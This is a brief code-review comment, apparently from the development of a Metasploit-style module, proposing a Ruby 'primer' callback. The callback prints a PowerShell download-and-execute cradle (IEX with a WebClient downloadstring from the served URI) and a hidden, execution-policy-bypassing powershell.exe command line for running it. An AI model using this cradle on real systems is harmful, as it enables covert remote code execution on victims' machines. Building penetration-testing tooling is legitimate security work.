I agree, it doesn't look good. Why don't use the primer callback, which is called once the service has been started?

Using the primer callback the code would be something like:

```ruby
	def primer
		download_and_run = "IEX ((new-object net.webclient).downloadstring('#{get_uri}'))"
		print_good(download_and_run)
		print_good("powershell.exe -windowstyle hidden -noexit -NoProfile -ExecutionPolicy unrestricted -command \"#{download_and_run}\"")
	end
```

Let me know if it has sense for you, please.